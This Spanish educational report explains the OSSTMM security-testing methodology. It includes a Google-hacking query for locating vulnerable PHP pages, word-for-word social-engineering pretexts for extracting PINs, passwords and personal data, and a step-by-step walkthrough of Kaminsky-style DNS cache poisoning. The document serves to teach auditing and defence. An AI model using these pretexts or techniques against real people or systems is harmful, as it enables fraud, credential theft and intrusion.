Seguridad perfecta: En la metodología, se sigue la técnica de “seguridad perfecta” donde el tester y el analista guían al cliente, hacia lo que debería ser la seguridad perfecta, que puede contrastar con muchos aspectos, como las buenas prácticas, la regulación de la industria, justificaciones de negocio etc.. donde el cliente no puede permitirse el implementar esa seguridad “perfecta”. El resultado de esto, es la seguridad perfecta para un cliente determinado, y el tester y analista, entonces, comprobarán el estado de la seguridad real con esa seguridad perfecta. En esta sección se incluye también una lista de buenas prácticas (teóricas) hacia la seguridad perfecta, cuya lectura recomiendo, del documento original.

Métricas de seguridad Esta parte, es de las más importantes de la metodología, ya que convierte el proceso de test de intrusión/auditoría en algo medible, comparable y escalable. Además, en ellas se refleja no solo los datos tangibles y referentes a la red, sino que también se ven que partes son inexactas o distorsiones de resultados. En esta metodología, a las métricas se las conoce como Risk Assessment Values (RAVs). Estos no son análisis de riesgos en sí mismos, sino que proporcionan datos concretos para un análisis de riesgos más concreto y real.

Aplicando Risk Assessment Values Los RAVs están formados por tres hashes: operaciones, limitaciones y controles. Éstos, se combinan para formar un cuarto hash: Seguridad Real, que proporciona la imagen total del sistema. La naturaleza hash del sistema hace que sea infinitamente escalable, y comparable entre sistemas de diferentes tamaños. Por ejemplo, con el RAV podríamos comprar un solo objetivo con 10000 objetivos. Página 18

Sin embargo, el Actual Security (o seguridad real) solo puede ser calculado por el alcance original. Si hubiera algún cambio en el alcance (como pudiera ser el número de objetivos, por ejemplo), habría que recalcular los hashes. Ahora bien, también es posible, coger 2 (o más) ámbitos distintos, y combinarlos para calcular una Actual Security para todos, considerarlo como un alcance más grande.

Seguridad real Tipo

Descripción

Operaciones

Las operaciones, conceptualmente podemos entenderlas como los servicios que ofrece el sistema. Éstas, están definidas por la visibilidad, confianza y accesos que ofrece el sistema.

Controles

Existen 10 tipos de controles. 5 de clase A y 5 de clase B. Entre estos, podemos encontrar no sólo aquellos controles que evitan accesos no permitidos, sino que, por ejemplo, el servidor esté asegurado contra incendios, de forma que las pérdidas sean menores. Son controles de impacto y reducción de pérdidas.

Limitaciones

Es el estado actual de las limitaciones que ofrecen las operaciones y controles. Por poner un ejemplo, el ver que una cerradura está oxidada es una limitación.

Seguridad operacional (OPSEC) Como hemos dicho antes, la seguridad de operaciones, se subdivide en visibilidad, confianza y accesos que ofrece el sistema. A continuación se muestra una tabla explicando estas partes con un poco más de detalle. Aparece también un cuarto concepto, el de OPSEC Delta: Categoría OPSEC

Descripción

Visibilidad

Es el número de objetivos pertenecientes al alcance, y que se puede comprobar su existencia de forma directa, indirecta o pasivamente. Es decir, por ejemplo, si determinamos que hay un servidor web que accede a una base de datos que está en otra máquina, habremos encontrado 2 máquinas. Normalmente no es realista que haya más objetivos visibles que objetivos haya definidos en el alcance, sin embargo, es posible que por malas configuraciones aparezcan algunos que no deberían de ser visibles.

Confianza

Una confianza, por ejemplo, podría ser el paso de una habitación a otra, sin necesidad de tener Página 19

una llave (o tener la llave de todas las habitaciones). Es el acceso sin autenticación a algún objetivo. El sistema confía en que si una persona ha llegado a un determinado punto, puede llegar al siguiente. Acceso

Un acceso es un punto de interacción con un objetivo. En la visibilidad, contábamos el número de objetivos que había. Aquí, contamos concretamente los accesos. Un ejemplo, podría ser si podemos conectarnos a un servidor mediante SSH y samba. Esto sería una visibilidad de 1, pero hay 2 accesos. En el manual se incluyen 3 ejemplos muy descriptivos sobre los accesos.

OPSEC Delta

Visibilidad + confianza + acceso.

Controles La OSSTMM divide los tipo de control en dos grandes categorías. El tipo A (interactivo) y el tipo B (proceso). A continuación presento los tipos y una descripción: Tipo A

Tipo

Breve descripción

Autenticación

Para comprobar que la persona es quien dice ser. Contar cada vez que el sistema requiera una autenticación (por ejemplo, un login y pass).

Indemnización

Sirve para amortizar las pérdidas que suponen la pérdida o daño de un activo. Por ejemplo, el tener asegurado un servidor. Contar cada método que haya para precisar responsabilidad o seguro que compense.

Subyugación

Representa imposiciones que se hacen sobre algo por alguien o algo superior. Por ejemplo, el rellenar un formulario web y se compruebe en el servidor en vez de en el cliente. Contar cada vez que haya un acceso (aunque sea de confianza) que no permite se controlen fuera de él.

Continuidad

La continuidad se da cuando un activo sustituye a otro cuando el segundo falla. Contar cada método que haya por acceso (o confianza) que asegure que no haya interrupción en la interacción cada vez aunque algo falle.

Resistencia

Se trata de la recuperación ante fallos. Es decir, que cuando algo falle, pueda recuperarse rápidamente y sin efectos colaterales. Contar por Página 20

cada instancia de método que se asegure que el activo falla “de forma segura”.

Tipo B

Tipo

Descripción

No-repudio

El no-repudio significa que aquella persona que realiza una acción no pueda negar que lo haya hecho. Contar por cada instancia de acceso o confianza que use algún mecanismo de norepudio. Un ejemplo de esto, sería que al acceder a un edificio, sea cual sea el método de acceso, se grabe con una cámara de video.

Confidencialidad

Se encarga de que solamente las partes autorizadas puedan leer la información transmitida. Contar cada método que garantice confidencialidad. Un buen ejemplo, sería el codificar la información transmitida.

Privacidad

La privacidad se entiende como el mantener oculto el cómo se intercambia la información. Por ejemplo, intercambiar información fuera de la visibilidad de terceras partes (por ejemplo, reuniones de trabajo en despachos cerrados). Contar cada instancia para acceso o confianza que mantenga oculto el método de interacción.

Integridad

La integridad es el que la información intercambiada entre las partes involucradas, no se vea modificado por una tercera parte. Contar para cada instancia de acceso o confianza que use algún método que garantice que los datos han llegado con integridad. Por ejemplo, usando una hash o codificando los datos.

Alarma

Es un control que notifica cuando algún evento ha ocurrido. Contar cada evento de acceso o confianza que registre o notifique cuando algún evento ocurra.

Control Delta

(Sumar todos los controles) * 0.1

Limitaciones Las limitaciones de un sistema, describen el estado actual de su seguridad en cuanto a errores se refiere. Éstos, se dividen en varias categorías: vulnerabilidades, debilidades, preocupaciones, exposiciones y anomalías. Más adelante, en esta misma sección se ahondará en estos conceptos. Existe la creencia, de que las limitaciones solamente son limitaciones cuando no tienen justificación en el negocio. Puede que desde el punto de vista empresarial así sea, pero desde el punto de vista Página 21

del auditor, lo son, y han de ser tenidas en cuenta. El auditor las recopilará en los informes, y será responsabilidad del cliente el tenerlas en cuenta o no. El hecho de que quiera ponerles solución o no, es una cuestión propia de la estrategia de negocio, donde el responsable de esos activos decidirá si el riesgo que supone el perder (y recuperar) no justifiquen los costes de reparar o controlar esa limitación. Además, existen otras razones, como la legislación vigente en la zona del negocio, que impiden el controlar estos fallos. Por ejemplo, el leer el correo de los empleados para evitar filtraciones de información está prohibido en España sin orden judicial. Otro punto importante a tener en cuenta a la hora de contabilizar las limitaciones del sistema, es el que se deberían contar los errores de seguridad por objetivo, y no los objetivos con errores. Es decir, debemos hacer constancia de cada fallo que tiene cada objetivo. A continuación presento una descripción de los tipos de limitaciones, y algunos ejemplos de ellos, centrándome en las más relacionadas con telecomunicaciones o datos. Para más ejemplos, leer la propia metodología. Incluye ejemplos de PHYSEC, HUMSEC, COMSEC data, COMSEC telecommunications, SPECSEC. Tipo de limitación

Descripción y ejemplos

Vulnerabilidad

Una vulnerabilidad es un error que impida el acceso a personas autorizadas, o que no niegue el acceso a las no autorizadas, o que permita el ocultamiento de personas no autorizadas o activos. Ejemplo: Una vulnerabilidad que permita un buffer overflow y de acceso a un atacante a escribir zonas de memoria no autorizadas para ganar permisos.

Debilidad

Una debilidad es un tipo error que reduce los efectos de controles interactivos de autenticación, indemnización, resistencia, subyugación y continuidad. Es decir, que afecta negativamente a los controles o medidas de reducción de riesgos y limitaciones a usuarios malintencionados. Ejemplo: que no haya un limite máximo de intentos de login, no limitar servicios que pudieran colapsar el sistema (DoS).

Preocupación

Una preocupación aparece cuando no se siguen las prácticas recomendadas de seguridad, pero que el no seguirla no se muestra como un peligro real. Ejemplo: un servidor con un proceso fingerd corriendo, y que no requiere el servicio de FINGER.

Exposición

Una exposición es el mostrar visible algún activo de forma no justificada de forma directa o indirecta. Ejemplo: el mostrar banners de servicio muy detallados y válidos (si no son válidos, no se Página 22

considera una exposición), o el que una máquina responda a mensajes ICMP. Anomalía

Una anomalía es un elemento inidentificable o desconocido, que no sea una operación normal. Es decir, cuando ocurre algo en el sistema que no esperamos que ocurra, y que no podemos clasificar, o que no entendemos porqué ocurre. Suele ser un signo de que hay algún fallo, o que acabará ocurriendo. Ejemplo: recibir respuestas de máquinas de las que no esperábamos respuesta.

Seguridad real Para poder medir el estado actual de la seguridad, se requiere un cálculo final para poder comparar los distintos sistemas, la Seguridad Real. Ésta combina los tres hashes que hemos descrito anteriormente (operacional, controles y limitaciones), y los combina en un cuarto. Los parámetros que pasamos a describir a continuación, son utilizados a modo comparativo. El valor que realmente interesa a la hora de entregar los resultados al cliente, es realmente los RAV, que el propio ISECOM calculará en función de los resultados que se les envíe en las plantillas que se adjuntan al final de la metodología. Para poder obtener el certificado de que se ha pasado la auditoría OSSTMM con éxito, se deberá tener, al menos, un 95% en el RAV, y revisarse una vez al año. La forma exacta de calcular los valores que presento a continuación vienen descritas en un documento en la propia web de ISECOM. Se recomienda su lectura solamente a desarrolladores, aunque siempre es interesante echarles un vistazo para poder tener en cuenta que es lo que estamos haciendo: 1.Delta real: Opsec Delta + Control Delta – Limitaciones Delta. Debemos recordar que el Control Delta, es la suma de todos los controles multiplicado por 0.1. Éste parámetro es útil para poder estimar el cambio en delta que la solución que el cambio en el sistema aportará. 2.Seguridad real (total): es el estado real de la seguridad presentado como un hash de las tres secciones, y representado en un porcentaje donde el 100% representa un balance entre los controles por puntos de interacción vs activos sin limitaciones.

Secciones y módulos En la metodología, esta sección hace una descripción de consejos que deben de tenerse en cuenta a la hora de seguir los módulos, secciones y tareas concretas a la hora de realizar el test de intrusión, como por ejemplo el hecho de que se debe de ser imparcial a la hora de realizar las tareas para poder obtener resultados de la forma más objetiva posible. Esto ya se ha descrito anteriormente en el presente documento. Se habla también de que el tiempo es relativo, ya que no todos los sistemas son iguales. Y no solo con respecto al tamaño, sino también a la complejidad del sistema. En las próximas secciones, pretendemos describir los distintos módulos que existen en la metodología, incluyendo experiencia propia, o investigaciones que se han ido realizando sobre las mismas a lo largo de la realización del presente documento. Para poder consultar las tareas concretas, y para poder realizarlas correctamente, remitimos al lector al documento original.

Página 23

Metodología Los tests de seguridad empiezan con una entrada que es, en su forma mas precaria, las direcciones de los sistemas a auditar. Los tests, terminan con el principio de la fase de análisis, y la elaboración del informe final. La metodología no afecta a la forma, tamaño, estilo o contenido del informe final, y no especifica como debe de ser analizado. Esto es tarea del tester y/o la organización. La OSSTMM se divide en secciones, las cuales se dividen a su vez en módulos, y éstos, en tareas concretas. Se debe distinguir, entre recolección de datos, y la verificación de los mismos. Es decir, no solamente se deberá buscar fallos, vulnerabilidades etc, sino que además, se deberá comprobar, efectivamente, que existen. Es por ello, que una metodología no debe de compararse con un simple escaneo de vulnerabilidades o puertos. Para realizar la OSSTMM, además, hay que comprobar los resultados obtenidos. Al definir la metodología a seguir, es importante no delimitar la creatividad del tester: habrá casos, en los que estándares o formalismos hagan que la calidad del test pueda mitigar, por lo que siempre será el tester el que tenga la última palabra, y podrá realizar los tests según su experiencia y creatividad. Cabe añadir, además, que muchas de las tareas son poco concretas y abiertas, previniendo el que nuevas tecnologías o características dejen obsoletas estas tareas. Es comparable pues, a las leyes jurídicas, donde suelen ser vagas y libres de interpretarse, para que puedan abarcar mas casos, ya que sería completamente imposible definir toda situación posible y futura. Cada módulo, está relacionad con el anterior y el siguiente, y entre secciones ocurre de forma similar. Los datos y conclusiones obtenidas en un módulo, pueden servir para la realización de la siguiente tarea. Por ejemplo, se pueden descubrir nuevos hosts para comprobar.

Sección A – Seguridad de la información 1. Revisión de la inteligencia competitiva Este módulo, quizás sea el menos valorado de todos a la hora de realizar un test de penetración (legal o no), ya que no es intrusivo, y se puede realizar sin ningún tipo de conocimiento técnico en tests de intrusión. Básicamente, se trata de recabar toda la información posible de la empresa auditada. Nos interesa, sobre todo, el poder encontrar información para poder crear un mapa y estructura de las instalaciones informáticas. Buscar la presencia en Internet que tiene la empresa. Es decir, se trata de encontrar toda la información disponible que nos revele datos (sensibles o no) sobre la empresa. Muchas veces, nos daremos cuenta de que mucha información puede ser recabada de forma legal, en páginas webs, en la prensa, etc... Resulta interesante, por ejemplo, recabar toda información relacionada a los servicios que pudiera ofrecer la compañía (tales como números de teléfono, emails junto con personas de contacto, páginas web, servidores FTP etc..), así como muchos otros de carácter menos técnico, aunque puedan ser utilizados para, por ejemplo, ingeniería social. Algunos aspectos interesantes podrían ser: •Compañía

de la cual depende •Compañías dependientes de la misma •Compañías hermanas •Proveedores •Clientes •Productos que ofrece Página 24

Cualquier IP relevante a algunas de éstas, podría ser útil al realizar el ataque. Consideraremos relevantes las IP si éstas: •Pertenecen

a la organización •Usadas por la organización •Están registradas a nombre de la organización •Sirve a la organización de alguna forma •Está asociada a la organización Cabe notar, que a la hora de realizar la auditoría, hemos de tener muy claro que la información recogida en esta sección, puede estar tanto dentro, como fuera del alcance de nuestro contrato. Como sugerencia de un software para realizar esta sección de forma ordenada, se ha hablado últimamente de una aplicación de software libre, que permite realizar una revisión de la inteligencia competitiva de forma ordenada. Esta aplicación se llama Maltego. Según su web oficial (http://www.paterva.com/maltego/), describe Maltego como: “Maltego es una aplicación de inteligencia y forense libre. Permite la minería y recogida de información además de la representación de esta información de una forma útil. Junto con sus librerías gráficas, Maltego, te permite identificar relaciones clave entre la información e identificar previamente relaciones entre ella”. A continuación muestro una captura de pantalla(Figura 1: ):

Figura 1: Algo interesante para añadir en esta sección, es algo que parece estar extendiéndose en fama en estos días, el Google hacking. El Google hacking consiste en utilizar la potencia de almacenamiento y búsqueda de algunos motores de búsqueda (en este caso, de Google), para buscar información sensible, o que no debería ser pública, en las bases de datos del buscador. Éstas, se realizan mediante la utilización de palabras clave o sentencias específicas, y suelen ser de gran ayuda para el auditor. En su formato malicioso, puede ser utilizado para detectar servidores web (o páginas web) que sean vulnerables a ciertas vulnerabilidades, o fallos de seguridad. También, sirven para buscar Página 25

información sensible de otras personas, como tarjetas de crédito, passwords. La forma de uso del Google hacking, es mediante el uso de operadores avanzados de filtro de Google. Por ejemplo, la sentencia: intitle:admbook intitle:version filetype:php Busca todas las páginas web que contengan “admbook” y “version” en el título, y que la web accedida es PHP. Esto es útil, ya que muchas páginas web, por defecto vienen con un texto contenido en la web, que especifica la versión, y ésta podría tener una vulnerabilidad conocida.

2. Revisión de la privacidad La revisión de la privacidad, se encarga de las partes éticas y legales referentes al almacenaje, transmisión y control de datos de empleados y clientes. Se encarga de que se cumplan los derechos de las personas dentro de una empresa, para que sus datos personales no queden al descubierto de todo el mundo. Se refiere también, a como se distribuyen las contraseñas. No es lo mismo transmitirlas mediante palabra, que por escrito, vía mail etc... Esto puede ser muy comprometedor tanto para la empresa como para la persona afectada. Es común, encontrar muchas contraseñas escritas en, por ejemplo, post-its pegados en el borde del monitor del puesto de trabajo. A pesar de que muchas leyes son locales, todas se aplican a Internet, y por tanto, afectan a los security testers internacionalmente. Es necesario pues, tener un conocimiento básico de estas leyes, y las medidas necesarias para que la empresa pueda cumplirlas. En lo que se refiere a España, las leyes mas famosas que guardan relación con la privacidad, son la Ley Orgánica de Protección de Datos (LOPD) y la Ley de Servicios de la Sociedad de la Información (LSSI o LSSICE). No entraremos en detalles sobre estas leyes, pero básicamente se refieren a: LOPD: objetivo principal es regular el tratamiento de los datos y ficheros, de carácter personal, independientemente del soporte en el cual sean tratados, los derechos de los ciudadanos sobre ellos y las obligaciones de aquellos que los crean o tratan . LSSI: •Las obligaciones de los prestadores de servicios incluidos los que actúen como intermediarios en la transmisión de contenidos por las redes de telecomunicaciones . •Las comunicaciones comerciales por vía electrónica. •La información previa y posterior a la celebración de contratos electrónicos. •Las condiciones relativas a su validez y eficacia. •El régimen sancionador aplicable a los prestadores de servicios de la sociedad de la información.

3. Recolección de documentos Esta sección, guarda cierta relación con el punto uno de esta sección (Revisión de inteligencia competitiva), aunque esta se centra más, en aspectos más pequeños y concretos, como emails, ofertas de trabajo etc... que se pueden extraer de la información o metadatos que incluyen los documentos. Una herramienta interesante para realizar esto, podría ser FOCA(Figura 2: ). Se trata de un programa para la descarga de ficheros ofimáticos de páginas web, extraer información oculta, metadatos, y datos perdidos. También puede cruzar la información obtenida e intentar conseguir el mapa de la red estudiada. Se creó para la gira Up To Secure y Blackhat Europe 2009.

Página 26

Figura 2:

Dispone también de una versión online(Figura 3: ), que puede ser muy útil para realizar esta sección de forma rápida, y desde cualquier lugar que disponga de conexión a Internet.

Figura 3:

Sección B – Seguridad de los procesos 1. Testeo de Solicitud Este tipo de testeo, es una rama de lo que se conoce como ingeniería social. En este caso, tratamos de ganar acceso solicitando permiso al personal encargado de dar permisos de acceso, mediante el uso de sistemas de comunicación (email, teléfono, etc...) haciéndonos pasar por otra persona. Uno de los principios básicos de la ingeniería social dice, que “los usuarios son el eslabón débil”. Y esto es muchas veces cierto. Muchas veces, los fallos de seguridad de la información no provienen de la mala programación o configuración del sistema, sino de la gente no entrenada, poco precavida, o simplemente indiscreta. Esto muchas veces se resuelve como una persona que utilizará Internet, o el teléfono fingiendo ser, por ejemplo, un empleado de algún banco, una tercera empresa, cliente etc.. en busca de algún tipo de información que le permita el acceso al sistema. Un ejemplo sencillo, podría ser el hacerse pasar por el administrador, pidiendo a los usuarios por email su contraseña para cualquier propósito legítimo. Esto muchas veces se ve en el día a día de Página 27

cualquier internauta, cuando recibe el llamado “phishing” de alguna entidad, que pide el número de tarjeta de crédito para realizar cualquier comprobación. Esto, que parece tan simple, como es el “hacerse pasar por alguien”, es curiosamente un método que suele resultar bastante eficaz, y mucho menos costoso que la búsqueda de fallos informáticos. De hecho, es conocido por la web, que en una empresa llamada Boixnet, se hizo una encuesta, donde el 90% de los empleados de oficina de la estación de Waterloo, reveló sus contraseñas a cambio de un bolígrafo barato. No se hasta que punto será cierto esto, ya que no he sido capaz de contrastarlo con fuentes fiables, pero al menos nos deja ver, la importancia que toma en la red, el concepto de “ingeniería social”. Además, encontrar ejemplos reales de ataques de ingeniería social suele ser difícil, ya que las organizaciones que lo han sufrido no quieren admitirlo, o no ha sido documentado formalmente, o quizás ni siquiera se dieron cuenta de que lo han sufrido. No obstante, existen un par de ejemplos extraídos del International Secutity Institute: Te llaman a medianoche: –¿Ha

estado usted llamando a Egipto durante las últimas 6 horas?

–No –Bueno,

pues tenemos registrada una llamada que está activa ahora mismo, y está siendo efectuada desde una tarjeta de llamada a su nombre, y además, está llamando a Egipto. Es más, tiene hasta 2000$ en llamadas de alguien que está utilizándola a su nombre. Eres responsable de esos 2000$, tiene que pagarlo.... estoy arriesgando mi puesto de trabajo, intentando deshacerme de esos 2000$, pero necesitaré leer su tarjeta, y el PIN, y entonces podré quitarlo Otro de los principios fundamentales de la ingeniería social, es el aprovecharse de la naturaleza humana de querer ayudar. Las líneas de atención al cliente, son especialmente vulnerables a esto, ya que están precisamente para ayudar, y los hackers malintencionados, aprovechan esta cualidad al máximo. Además, la gente que trabaja en estos puestos suele tener muy poco entrenamiento en cuestiones de seguridad, y un sueldo mínimo, por lo que los hace las víctimas perfectas. Por ejemplo, en una demostración en vivo realizado por el Computer Security Institute: Llamaron a una compañía telefónica, donde fueron transferidos aquí y allá, hasta que llegaron a un puesto de atención al cliente. –¿Quien es supervisor en guardia hoy? –Betty –Páseme con Betty [En este momento, le transfieren con Betty.] –Hola Betty, ¿está teniendo un mal día? –No, ¿porqué? –Su sistema parece caído –No, mi sistema no está caído, parece que funciona correctamente. –Mmmm prueba a salir y a volver a entraremos [Betty sale y vuelve a entrar] –No hemos notado ningún cambio. Sal y vuelve a entrar de nuevo [Betty vuelve a salir y a entrar] –Nada. Voy a tener que entrar como usted, y buscar a ver que está Página 28

pasando con su ID. Dígame su ID y su password. Como vemos, los ejemplos pueden ser bastante bien ideados e inteligentes, y gente que no ha sido advertida, o poco entrenada, es propensa a dar sus datos.

2. Testeo de sugerencia guiada Este módulo, también es una rama de la ingeniería social. En muchos aspectos, coincidirá con el módulo anterior, es decir, que no son mutuamente excluyentes. La diferencia básica entre ellos, es que en este caso, el atacante se hace pasar por otra persona, e invita a otra a visitar un lugar externo (por ejemplo, una página web, o cuenta de email). Uno de los primeros ejemplos que se pueden ver, es el phishing, del cual ya hemos hablado en el apartado anterior. Puede ser, simplemente, que esa persona envíe los datos al atacante, o que la víctima visite una web que el atacante indique, donde tendrá preparada algún sistema para atacar/engañar a la víctima. Sistemas para atacar usando el sistema de invitar a la víctima a visitar un enlace hay muchos. Por ejemplo, el invitar a la víctima a una página web que es completamente idéntica a la oficial (supongamos la página web de un banco), donde se le pide al usuario que introduzca sus datos (usuario, contraseña, PIN de la tarjeta de crédito etc...), y le haga click en enviar/confirmar. Entonces, la página web envía los datos al atacante, que puede leer los datos, y utilizarlos. Una forma de evitar esto, sería el mirar la dirección web, y asegurarse de que no es extraña, y que pertenece a la web oficial. Esto último, da pie a hablar de un fallo de seguridad que surgió el verano pasado: el fallo del DNS. El fallo fue descubierto por Dan Kaminsky, conocido investigador en seguridad que trabaja para IOActive. Fue muy aplaudido por su forma de tratar su descubrimiento, alertando a las autoridades pertinentes, y tras unos meses, explicar el fallo a la comunidad. El fallo en cuestión, permitía a un atacante, redirigir clientes a servidores alternativos de su elección, los cuales podía utilizar con fines fraudulentos. A continuación se describe con detalle como funcionaba el supuesto fallo: Suponiendo que el lector sepa como funciona una consulta DNS correcta, pasamos a recordar los campos mas importantes de un paquete DNS(Figura 4: ):

Página 29

Figura 4: De este paquete, nos interesan especialmente los siguientes campos: ● Source/Destination IP address: son las direcciones origen y destino respectivamente. ● Source/Destination ports: puertos origen y destino respectivamente. El puerto destino del primer paquete será siempre 53/UDP, ya que los servidores DNS, escuchan en este puerto normalmente. ● Query ID: identificación de petición. Sirve para que, los servidores puedan emparejar las respuestas con las peticiones recibidas, ya que un servidor suele recibir muchas peticiones simultáneamente. ● RD(Recursion Desired): sirve para indicar si se desea recursión (se marca con un 1), o no (se marca con un 0) para las consultas DNS. No todos los servidores de nombres ofrecerán recursión. ● Answer/authority/additional record count: sirven para indicar distintos tipos de respuesta para la petición que efectuó el cliente. ● DNS Question/Answer data : este campo contiene los datos de la pregunta/respuesta de los campos anteriores. Por ejemplo, la tupla nombre de dominio – IP. Una vez conocidos estos campos, podemos explicar como funciona el fallo de DNS, o más correctamente, el envenenamiento de caché (cache poisoning). El envenenamiento de cache de DNS no es tan sencillo como simplemente enviar paquetes aleatorios al servidor de nombres (al contrario que otros envenenamientos, como ARP), ya que el servidor de nombres sólo acepta respuestas de peticiones que aún tiene pendientes. ¿Como sabe un servidor de nombres que espera un determinado paquete? –El paquete llega al mismo puerto UDP desde el que se envió. –La sección pregunta/respuesta (que está duplicada en la respuesta del paquete), coincide con la pregunta/respuesta de la petición pendiente. –La Query ID coincide con la petición pendiente. Página 30

–Que

las secciones de Authority y Additional contienen nombres que se encuentran dentro del mismo dominio que la pregunta. Esto se conoce como "bailiwick checking". Si se satisfacen todas estas condiciones, el servidor de nombres aceptará la respuesta como válida, y almacenará en su caché la nueva tupla nombre de dominio – IP. Ahora bien, ¿como conseguimos que se den todas estas condiciones? El fallo, surge del hecho de que es fácil adivinar el Query ID, ya que en los antiguos servidores de nombres, el Query ID simplemente aumenta en uno en cada petición que envía, y esto hace que sea fácil de saber cual será el siguiente mientras podamos conocer alguna petición.

Figura 5: Podemos provocar al servidor de nombres que nos diga su Query ID, tal y como se expone(Figura 5: ): 1.El usuario malintencionado (bad guy en el diagrama) pregunta al servidor de nombres víctima por un nombre en una zona para un servidor de nombres que él controla (en el ejemplo, test.badguy.com). Podría también preguntar al servidor directamente, si permite recursión desde donde se encuentra el usuario malintencionado, o también convencer a un usuario para que busque un nombre, por ejemplo, incluyendo el nombre del test en una página web. 2.El servidor de nombres víctima recibe la petición y opera como lo haría normalmente, intentando resolver el nombre de dominio en los servidores raíz. 3.La dirección test.badguy.com se resuelve en el servidor del usuario malintencionado (puesto que es suyo. 4.Mientras tanto, el usuario malintencionado ha estado monitorizando el tráfico IP que pasa por su máquina, y así captura la Query ID utilizada. En este punto, ya tenemos la Query ID, aunque en realidad no hemos envenenado la caché, ya que la dirección test.badguy.com era realmente lícita y perteneciente al usuario malintencionado. Pero, Página 31

ahora, ya conocemos como podemos predecir el Query ID, además de otros datos como el puerto UDP, ver los servidores de nombres que se han ido consultando etc. Ahora, veamos como finalmente podemos utilizar esto para finalmente envenenar la caché (Figura 6: ):

Figura 6: –Paso

1: El usuario malintencionado envía una petición DNS al servidor de nombres víctima del hostname que quiere “falsificar” (www.bankofsteve.com). En el ejemplo, se asume que el servidor de nombres víctima permite peticiones recursivas desde la zona del atacante. –Paso 2a: Sabiendo que la víctima está a punto de hacer una consulta de una dirección IP a ns1.bankofsteve.com(redirigido desde los servidores raíz), el atacante empieza a lanzar múltiples peticiones a la víctima con paquetes DNS de respuesta, simulando que provienen de ns1.bankofsteve.com (servidores globales), con el nombre del dominio a secuestrar, y la IP del servidor web del atacante. –Pasos 2b y 3: La consulta DNS se realiza normalmente, respondiendo a la víctima que consulte el servidor ns1.bankofsteve.com. –Paso 4: el servidor de nombres víctima pregunta a ns1.bankofsteve.com por la dirección IP de www.bankofsteve.com, y utiliza el Query ID 1001 (uno mas que la Query anterior). –Paso 5: El servidor de nombres real responde a la Query con Query ID?1001. Pero, como el atacante ha estado enviando muchas respuestas en el paso 2a, la respuesta “legal” llega demasiado tarde, por lo que se descarta. Página 32

–Paso

6: Ahora, en la caché del servidor de nombres víctima está la dirección fraudulenta, y a partir de ahora, siempre que se le consulte, responderá con la dirección IP del atacante. ¿Porqué ha sucedido esto? El problema, es que se acepta la primera respuesta correcta, aunque haya recibido muchas incorrectas, y continúe recibiendo correctas después. Cabe destacar unas cuantas cuestiones sobre el tema: –El nombre NO DEBE estar en la caché antes del ataque. Si la dirección estuviera ya en la caché, no se efectuarían consultas, por lo que hay que esperar a que caduque en la caché, y luego intentar el ataque. –El atacante, debe adivinar la Query ID, pero como vemos, esto es posible, ya que solo se incrementa en 1 cada vez, por lo que el rango de pruebas suele ser pequeño aún en servidores con muchas peticiones. –Por último, hay que destacar, que la víctima debe recibir la respuesta correcta del atacante ANTES de que se reciba la respuesta legal, por lo que debe de estar más próximo a él que el lícito (cercano en cuanto a tiempo), sino, llegará tarde, y se descartará. Este problema del DNS se ha conseguido solucionar, utilizando métodos para que sea más difícil adivinar la respuesta del Query ID, y ha habido que parchear una gran cantidad de servidores a lo largo de la web. Desde luego, el descubrimiento de esta brecha de seguridad dio mucho que hablar en 2008, aunque parece que ya está solucionado.

3. Testeo de las Personas Confiables Este es el tercero de los módulos que trata sobre ingeniería social. En este último, se distingue de los demás, en el hecho de que en éste, lo que se busca es información privilegiada. No tiene porqué ser un password, o conseguir permisos. Muchas veces, la mayoría de las personas no tiene ninguna dificultad en revelar información sensible, lo cual, para una persona malintencionada puede ser muy útil. Como ejemplo, muestro una situación ficticia, que aunque no está enfocada al mundo empresarial, bien puede mostrar el alcance de este tipo de adquisición de información. El ejemplo fue escrito por Antonio Villalón, en el blog perteneciente a la empresa S2 Grupo (empresa Valenciana de Seguridad gestionada): ¿Qué hacer cuando dispones únicamente de un número de teléfono móvil, sin más datos? Puedes poner un anuncio en coches estacionados en diferentes zonas de la ciudad, pegado al cristal, con un precio atractivo y ese número de teléfono. Pero eso no supone ningún reto; sí que puede ser un reto tratar de conseguir la información de esa persona; un poco de ingeniería social nunca viene mal, y por suerte o desgracia, en este país si oímos la palabra “GRATIS” damos hasta nuestra partida de nacimiento… A partir del prefijo móvil se puede determinar con un alto nivel de probabilidad la operadora de comunicaciones a la que pertenece, con lo que una promoción de dicha operadora siempre es una buena excusa; si ha habido una migración, pues la promoción se convierte automáticamente en una oportunidad para antiguos clientes. El resumen podría ser: — “Le llamamos de XXXX para ofrecerle, una vez cotejados sus datos, una promoción de llamadas a 0 céntimos, GRATIS, durante todo el mes de agosto, sin letra pequeña”. — Ah, dígame. — ¿Es usted don Luis López, de Salamanca? Página 33

— No, me parece que se ha equivocado. — Vaya, lo siento, entonces no puede acceder a la promoción… en cualquier caso, es usted cliente de XXXX, ¿verdad? — Sí, sí, dígame… — ¿Dispone usted de correo electrónico? — Claro. — Si me lo facilita, le enviaremos un e-mail y, simplemente por responder al mismo y rellenar nuestro cuestionario, tendrá acceso exclusivo a esta promoción. — Claro, mi correo es [email protected]. — En breve recibirá el correo; una vez obtenida su respuesta, en el plazo de una semana nos pondremos en contacto con usted para confirmarle el acceso y tendrá llamadas gratis durante todo el mes de agosto. — Ah, muchas gracias, muchas gracias… A partir de aquí, no hay más que enviar un correo al individuo en cuestión desde una dirección que parezca creíble; aunque para el 99% del personal es creíble cualquier dirección de Hotmail, mucho más elaborado es utilizar algo del tipo “[email protected]”, donde XXXX es obviamente el nombre de la operadora. En ese correo, con logos oficiales y formalismos que le den credibilidad, le pedimos amablemente su nombre, código postal —por aquello de la estadística— y el número de teléfono que quiere asociar a la promoción (aunque ya lo sepamos, nunca está de más). Et voilà, tenemos enseguida cómo se llama la persona y dónde vive (a lo de pedir la dirección postal, aparte de que no nos aporta nada, la gente suele ser más reacia, pero el código postal lo facilitamos sin problemas). Como vemos, con solamente un número de teléfono, hemos conseguido obtener una gran cantidad de información personal. Imaginemos la cantidad de variantes que podríamos idear para aplicarlo al mundo de la empresa, e imaginemos como podríamos mejorarlo si previamente nos informamos de la empresa o la persona a la que estamos llamando. Además, existen muchas personas más dentro de la empresa, por lo que lo que obtengamos de una de ellas, podremos aplicarlo para que el llamar a la siguiente persona nos resulte más fácil.

